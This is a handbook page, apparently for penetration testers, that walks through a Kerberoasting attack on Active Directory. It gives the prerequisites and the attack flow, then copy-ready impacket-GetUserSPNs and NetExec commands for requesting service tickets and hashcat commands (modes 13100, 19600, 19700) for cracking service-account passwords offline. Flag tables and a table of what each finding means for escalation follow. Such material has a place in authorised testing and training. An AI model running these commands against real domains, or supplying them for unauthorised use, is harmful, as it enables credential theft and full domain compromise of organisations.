Handbook

Kerberoasting

Updated 29 Sept 2026Services✎ Suggest a change
On this page

Prerequisites

  • Valid domain user account - lowest privilege sufficient
  • Service accounts with SPNs registered in AD

Attack Flow

plain text
Authenticate as any domain user → Query AD for SPN accounts
→ Request TGS ticket per SPN → DC returns ticket encrypted with service account hash
→ Crack offline (Hashcat mode 13100/19600/19700) → recover plaintext password
→ Authenticate as service account

Enumerate SPNs and Request Tickets

bash
impacket-GetUserSPNs <domain>/<username>:<password> -dc-ip <dc-ip> -request

# Save to file
impacket-GetUserSPNs <domain>/<username>:<password> -dc-ip <dc-ip> -request -outputfile kerberoast_hashes.txt

# Clean hash lines for Hashcat
impacket-GetUserSPNs <domain>/<username>:<password> -dc-ip <dc-ip> -request \
    | grep '\$krb5tgs\$' \
    | sed 'G' > spns.txt

Via NetExec

bash
nxc ldap <dc-ip> -u <username> -p <password> --kerberoast /tmp/kerberoast.txt

Crack the Tickets

bash
# RC4 — most common
hashcat -m 13100 kerberoast_hashes.txt <wordlist>

hashcat -m 13100 kerberoast_hashes.txt <wordlist> -r /usr/share/hashcat/rules/best64.rule

# AES128 / AES256
hashcat -m 19600 kerberoast_hashes.txt <wordlist>
hashcat -m 19700 kerberoast_hashes.txt <wordlist>

hashcat -m 13100 kerberoast_hashes.txt --show

Flag Reference

impacket-GetUserSPNs

FlagMeaning
<domain>/<user>:<pass>Domain credentials to authenticate and request tickets
-dc-ip <ip>Domain Controller IP
-requestRequest TGS tickets for discovered SPNs
-outputfile <file>Save hashes to file

nxc

FlagMeaning
ldapRequired protocol for Kerberoast module
--kerberoast <file>Run enumeration, save tickets to file

What Each Result Tells You

FindingImplication
SPN accounts returnedAttempt cracking on all
RC4 encrypted ticketWeaker, faster to crack
AES encrypted ticketStronger, slower to crack
Ticket crackedTest recovered creds for admin access
Service account is Domain AdminCritical — full domain compromise